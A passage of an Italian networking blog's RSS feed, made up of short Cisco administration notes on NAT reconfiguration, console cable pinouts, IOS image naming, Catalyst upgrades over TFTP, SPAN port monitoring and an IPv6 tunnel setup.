</span></span><span style="display:flex;"><span>Escape character is &#39;^]&#39;.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User Access Verification
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Username:
</span></span></code></pre></div><p>Altra alternativa disattivare l&rsquo;autologin dalle impostazioni di telnet con:</p>
<p><code>leobook:~ leonardorizzi$ echo default unset autologin &gt;~/.telnetrc</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Change Dynamic NAT</title>
      <link>https://www.deepreflect.net/2008/09/07/cisco-change-dynamic-nat/</link>
      <pubDate>Sun, 07 Sep 2008 19:33:21 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=91</guid> 
      <description>&lt;p&gt;Vi sara&amp;rsquo; mai capitato di dover riconfigurare il NAT, Route MAP o simili su router in condizioni di nat dinamico, nella maggior parte dei casi si ricevono questi errori:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Dynamic mapping in use, cannot 		remove&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%Pool outpool in use, cannot 		destroy&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si risolve usando il comando &amp;ldquo;clear&amp;rdquo; nello specifico:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clear ip nat translation *
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;dopodiche&amp;rsquo; si puo&amp;rsquo; agire sul nat indisturbati&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conf t
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;no ip nat pool old pool name
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip nat pool new pool
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ricordo che in molti casi per poter agire su alcune configurazioni e&amp;rsquo; necessario mettere in modalita&amp;rsquo; &amp;ldquo;shutdown&amp;rdquo; le interfacce direttamente interessate nelle procedure di NAT&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Vi sara&rsquo; mai capitato di dover riconfigurare il NAT, Route MAP o simili su router in condizioni di nat dinamico, nella maggior parte dei casi si ricevono questi errori:</p>
<ul>
<li><code>Dynamic mapping in use, cannot 		remove</code></li>
<li><code>%Pool outpool in use, cannot 		destroy</code></li>
</ul>
<p>Si risolve usando il comando &ldquo;clear&rdquo; nello specifico:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>clear ip nat translation *
</span></span></code></pre></div><p>dopodiche&rsquo; si puo&rsquo; agire sul nat indisturbati</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>conf t
</span></span><span style="display:flex;"><span>no ip nat pool old pool name
</span></span><span style="display:flex;"><span>ip nat pool new pool
</span></span></code></pre></div><p>Ricordo che in molti casi per poter agire su alcune configurazioni e&rsquo; necessario mettere in modalita&rsquo; &ldquo;shutdown&rdquo; le interfacce direttamente interessate nelle procedure di NAT</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - Console Cable Pin</title>
      <link>https://www.deepreflect.net/2008/08/30/cisco-console-cable-pin/</link>
      <pubDate>Sat, 30 Aug 2008 16:16:51 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=86</guid> 
      <description>&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;Signal&lt;/th&gt;
					&lt;th&gt;Console Port (DTE)&lt;/th&gt;
					&lt;th&gt;RJ-45 Rolled Cable&lt;/th&gt;
					&lt;th&gt;Adapter&lt;/th&gt;
					&lt;th&gt;Adapter&lt;/th&gt;
					&lt;th&gt;Signal&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;/td&gt;
					&lt;td&gt;RJ-45&lt;/td&gt;
					&lt;td&gt;RJ-45 Pin&lt;/td&gt;
					&lt;td&gt;DB-9 Pin&lt;/td&gt;
					&lt;td&gt;DB-25 Pin&lt;/td&gt;
					&lt;td&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;CTS&lt;/td&gt;
					&lt;td&gt;1&lt;/td&gt;
					&lt;td&gt;8&lt;/td&gt;
					&lt;td&gt;7&lt;/td&gt;
					&lt;td&gt;4&lt;/td&gt;
					&lt;td&gt;RTS&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;DTR&lt;/td&gt;
					&lt;td&gt;2&lt;/td&gt;
					&lt;td&gt;7&lt;/td&gt;
					&lt;td&gt;4&lt;/td&gt;
					&lt;td&gt;2&lt;/td&gt;
					&lt;td&gt;0&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;TxD&lt;/td&gt;
					&lt;td&gt;3&lt;/td&gt;
					&lt;td&gt;6&lt;/td&gt;
					&lt;td&gt;3&lt;/td&gt;
					&lt;td&gt;2&lt;/td&gt;
					&lt;td&gt;RxD&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;GND&lt;/td&gt;
					&lt;td&gt;4&lt;/td&gt;
					&lt;td&gt;5&lt;/td&gt;
					&lt;td&gt;5&lt;/td&gt;
					&lt;td&gt;7&lt;/td&gt;
					&lt;td&gt;GND&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;GND&lt;/td&gt;
					&lt;td&gt;5&lt;/td&gt;
					&lt;td&gt;4&lt;/td&gt;
					&lt;td&gt;5&lt;/td&gt;
					&lt;td&gt;7&lt;/td&gt;
					&lt;td&gt;GND&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;RxD&lt;/td&gt;
					&lt;td&gt;6&lt;/td&gt;
					&lt;td&gt;3&lt;/td&gt;
					&lt;td&gt;2&lt;/td&gt;
					&lt;td&gt;3&lt;/td&gt;
					&lt;td&gt;TxD&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;DSR&lt;/td&gt;
					&lt;td&gt;7&lt;/td&gt;
					&lt;td&gt;2&lt;/td&gt;
					&lt;td&gt;6&lt;/td&gt;
					&lt;td&gt;8&lt;/td&gt;
					&lt;td&gt;DTR&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;RTS&lt;/td&gt;
					&lt;td&gt;8&lt;/td&gt;
					&lt;td&gt;1&lt;/td&gt;
					&lt;td&gt;8&lt;/td&gt;
					&lt;td&gt;5&lt;/td&gt;
					&lt;td&gt;CTS&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;</description>
      <content:encoded><![CDATA[<table>
	<thead>
			<tr>
					<th>Signal</th>
					<th>Console Port (DTE)</th>
					<th>RJ-45 Rolled Cable</th>
					<th>Adapter</th>
					<th>Adapter</th>
					<th>Signal</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td></td>
					<td>RJ-45</td>
					<td>RJ-45 Pin</td>
					<td>DB-9 Pin</td>
					<td>DB-25 Pin</td>
					<td></td>
			</tr>
			<tr>
					<td>CTS</td>
					<td>1</td>
					<td>8</td>
					<td>7</td>
					<td>4</td>
					<td>RTS</td>
			</tr>
			<tr>
					<td>DTR</td>
					<td>2</td>
					<td>7</td>
					<td>4</td>
					<td>2</td>
					<td>0</td>
			</tr>
			<tr>
					<td>TxD</td>
					<td>3</td>
					<td>6</td>
					<td>3</td>
					<td>2</td>
					<td>RxD</td>
			</tr>
			<tr>
					<td>GND</td>
					<td>4</td>
					<td>5</td>
					<td>5</td>
					<td>7</td>
					<td>GND</td>
			</tr>
			<tr>
					<td>GND</td>
					<td>5</td>
					<td>4</td>
					<td>5</td>
					<td>7</td>
					<td>GND</td>
			</tr>
			<tr>
					<td>RxD</td>
					<td>6</td>
					<td>3</td>
					<td>2</td>
					<td>3</td>
					<td>TxD</td>
			</tr>
			<tr>
					<td>DSR</td>
					<td>7</td>
					<td>2</td>
					<td>6</td>
					<td>8</td>
					<td>DTR</td>
			</tr>
			<tr>
					<td>RTS</td>
					<td>8</td>
					<td>1</td>
					<td>8</td>
					<td>5</td>
					<td>CTS</td>
			</tr>
	</tbody>
</table>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - IOS Image</title>
      <link>https://www.deepreflect.net/2008/08/23/cisco-ios-image/</link>
      <pubDate>Sat, 23 Aug 2008 07:19:12 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=60</guid> 
      <description>&lt;p&gt;Breve prontuario per riconoscere le immagini e le relative feature (sono indicate le principali):&lt;/p&gt;
&lt;p&gt;IP : y&lt;/p&gt;
&lt;p&gt;ADSL : 7&lt;/p&gt;
&lt;p&gt;IP PLUS : s&lt;/p&gt;
&lt;p&gt;VOICE : v&lt;/p&gt;
&lt;p&gt;CRYPTO (maggiore di 64-bit) : k9&lt;/p&gt;
&lt;p&gt;CRYPTO (minore di 64-bit) : k8&lt;/p&gt;
&lt;p&gt;IBM/AT/IPX : bnr2&lt;/p&gt;
&lt;p&gt;FW/IDS : o3&lt;/p&gt;
&lt;p&gt;H323 : x&lt;/p&gt;
&lt;p&gt;IP/IPX/APPLETALK : bin&lt;/p&gt;
&lt;p&gt;IP/FW : oy6&lt;/p&gt;
&lt;p&gt;LAWFUL INTERCEPT : u2&lt;/p&gt;
&lt;p&gt;ENTERPRISE : js&lt;/p&gt;
&lt;p&gt;SSG : g4&lt;/p&gt;
&lt;p&gt;Inoltre le immagini sono presenti altre immagini raggruppate per feature:&lt;/p&gt;
&lt;p&gt;IP BASE = IOS entry level nessuna caratteristica principale
IP VOICE = VoIP,  VoFR, IP Telephony&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Breve prontuario per riconoscere le immagini e le relative feature (sono indicate le principali):</p>
<p>IP : y</p>
<p>ADSL : 7</p>
<p>IP PLUS : s</p>
<p>VOICE : v</p>
<p>CRYPTO (maggiore di 64-bit) : k9</p>
<p>CRYPTO (minore di 64-bit) : k8</p>
<p>IBM/AT/IPX : bnr2</p>
<p>FW/IDS : o3</p>
<p>H323 : x</p>
<p>IP/IPX/APPLETALK : bin</p>
<p>IP/FW : oy6</p>
<p>LAWFUL INTERCEPT : u2</p>
<p>ENTERPRISE : js</p>
<p>SSG : g4</p>
<p>Inoltre le immagini sono presenti altre immagini raggruppate per feature:</p>
<p>IP BASE = IOS entry level nessuna caratteristica principale
IP VOICE = VoIP,  VoFR, IP Telephony</p>
<p>ADVANCED SECURITY : IOS Firewall, IDS, SSH, IPsec, VPN, 3DES
SP SERVICE : MPLS, SSH, ATM, VoATM
ENTERPRISE BASE : Multiprotocol, IBM</p>
<p>ADVANCED IP SERVICE : IPv6, Advanced Security, Service Provider Service
ENTERPRISE SERICE : Enterprise Base, IBM Full, Service Provider Service</p>
<p>ADVANCED ENTERPRISE SERVICE : Tutto quello descritto prima.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco Catalyst - IOS Upgrade</title>
      <link>https://www.deepreflect.net/2008/08/23/cisco-catalyst-ios-upgrade/</link>
      <pubDate>Sat, 23 Aug 2008 06:15:52 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=55</guid> 
      <description>&lt;p&gt;Comandi base per aggionare un Catalyst 29xx partendo da un&amp;rsquo;immagine IOS compresssa in tar, ovviamente e&amp;rsquo; indispensabile avere a disposizione un server TFTP con gia&amp;rsquo; caricata nella root l&amp;rsquo;immagine.&lt;/p&gt;
&lt;p&gt;Fase 1 - Eliminare l&amp;rsquo;immagine e eventuali web-interface con questi due comandi:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Switch#delete flash:c0000-versioneios.bin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Switch#delete flash:html/*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Fase 2 - Copiare scompattare e caricare l&amp;rsquo;immagine dall&amp;rsquo;TFTP&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Switch#archive tar /xtract tftp://10.10.10.1/c0000-versioneios.bin flash:&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Fase 3 - Verificare l&amp;rsquo;immagine&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Switch#verify flash:c0000-versioneios.bin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Memo:&lt;/p&gt;
&lt;p&gt;Le immagini con questa notazione &amp;ldquo;i6k2l2q4&amp;rdquo; hanno le seguenti feature:
EI AND SI IOS CRYPTO&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Comandi base per aggionare un Catalyst 29xx partendo da un&rsquo;immagine IOS compresssa in tar, ovviamente e&rsquo; indispensabile avere a disposizione un server TFTP con gia&rsquo; caricata nella root l&rsquo;immagine.</p>
<p>Fase 1 - Eliminare l&rsquo;immagine e eventuali web-interface con questi due comandi:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>Switch#delete flash:c0000-versioneios.bin
</span></span><span style="display:flex;"><span>Switch#delete flash:html/*
</span></span></code></pre></div><p>Fase 2 - Copiare scompattare e caricare l&rsquo;immagine dall&rsquo;TFTP</p>
<p><code>Switch#archive tar /xtract tftp://10.10.10.1/c0000-versioneios.bin flash:</code></p>
<p>Fase 3 - Verificare l&rsquo;immagine</p>
<p><code>Switch#verify flash:c0000-versioneios.bin</code></p>
<p>Memo:</p>
<p>Le immagini con questa notazione &ldquo;i6k2l2q4&rdquo; hanno le seguenti feature:
EI AND SI IOS CRYPTO</p>
<p>Le immagini con questa notazione &ldquo;i6q4l2&rdquo; hanno le seguenti feature:
EI AND SI IOS</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco Catalyst - Port Monitoring</title>
      <link>https://www.deepreflect.net/2008/08/22/cisco-port-monitoring/</link>
      <pubDate>Fri, 22 Aug 2008 13:14:15 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=50</guid> 
      <description>&lt;p&gt;Piccolo memo sull&amp;rsquo;uso delle funzioni di monitoraggio, sui catalyst, nel caso di debba sniffare il traffico per installare un IDS o per un po&amp;rsquo; di sana diagnostica in caso di problemi.&lt;/p&gt;
&lt;p&gt;Se lo switch supporta le sessioni di monitoring, esempio se si vuole
monitorare la porta 10 usando uno sniffer sulla 20 cosi&#39;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;!
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;monitor session 1 source interface Fa0/10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;monitor session 1 destination interface Fa0/20
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se lo supporta il port monitoring, esempio se si vuole monitorare con uno
sniffer sulla porta 20 il traffico tra porta 10 e porta 1:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Piccolo memo sull&rsquo;uso delle funzioni di monitoraggio, sui catalyst, nel caso di debba sniffare il traffico per installare un IDS o per un po&rsquo; di sana diagnostica in caso di problemi.</p>
<p>Se lo switch supporta le sessioni di monitoring, esempio se si vuole
monitorare la porta 10 usando uno sniffer sulla 20 cosi':</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>!
</span></span><span style="display:flex;"><span>monitor session 1 source interface Fa0/10
</span></span><span style="display:flex;"><span>monitor session 1 destination interface Fa0/20
</span></span><span style="display:flex;"><span>!
</span></span></code></pre></div><p>Se lo supporta il port monitoring, esempio se si vuole monitorare con uno
sniffer sulla porta 20 il traffico tra porta 10 e porta 1:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>!
</span></span><span style="display:flex;"><span>interface FastEthernet0/20
</span></span><span style="display:flex;"><span>port monitor FastEthernet0/10
</span></span><span style="display:flex;"><span>port monitor FastEthernet0/1
</span></span><span style="display:flex;"><span>port monitor VLAN1
</span></span><span style="display:flex;"><span>!
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Cisco IPv6</title>
      <link>https://www.deepreflect.net/2008/08/20/cisco-ipv6/</link>
      <pubDate>Wed, 20 Aug 2008 08:47:04 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=24</guid> 
      <description>&lt;p&gt;Anche se non credevo che fosse cosi&amp;rsquo; semplice i tunnel 6to4 sui router cisco non sono una cosa complessa come sembra posto uno straccio di configurazione usato con il tunnel broker Hurricane Electric sul server di parigi:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;interface Tunnel0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;no ip address
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;no ip redirects
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;no ip unreachables
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;no ip proxy-arp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ipv6 address 2001:470:1F12:10A::2/64
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ipv6 enable
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tunnel source xxx.xxx.xxx.xxx
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tunnel destination 216.66.84.42
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tunnel mode ipv6ip
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;!
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ipv6 route ::/0 Tunnel0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Attenzione questa e&amp;rsquo; usata su un 2600 con IOS 12.3 IP FW IDS PLUS / IPSEC
Ricordo che e&amp;rsquo; bene inserire un ACL che faccia passare il protocollo 41 solo dall&amp;rsquo;end point del tunnel e ovviamente lasciare le risposte icmp abilitate&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Anche se non credevo che fosse cosi&rsquo; semplice i tunnel 6to4 sui router cisco non sono una cosa complessa come sembra posto uno straccio di configurazione usato con il tunnel broker Hurricane Electric sul server di parigi:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>interface Tunnel0
</span></span><span style="display:flex;"><span>no ip address
</span></span><span style="display:flex;"><span>no ip redirects
</span></span><span style="display:flex;"><span>no ip unreachables
</span></span><span style="display:flex;"><span>no ip proxy-arp
</span></span><span style="display:flex;"><span>ipv6 address 2001:470:1F12:10A::2/64
</span></span><span style="display:flex;"><span>ipv6 enable
</span></span><span style="display:flex;"><span>tunnel source xxx.xxx.xxx.xxx
</span></span><span style="display:flex;"><span>tunnel destination 216.66.84.42
</span></span><span style="display:flex;"><span>tunnel mode ipv6ip
</span></span><span style="display:flex;"><span>!
</span></span><span style="display:flex;"><span>ipv6 route ::/0 Tunnel0
</span></span></code></pre></div><p>Attenzione questa e&rsquo; usata su un 2600 con IOS 12.3 IP FW IDS PLUS / IPSEC
Ricordo che e&rsquo; bene inserire un ACL che faccia passare il protocollo 41 solo dall&rsquo;end point del tunnel e ovviamente lasciare le risposte icmp abilitate</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
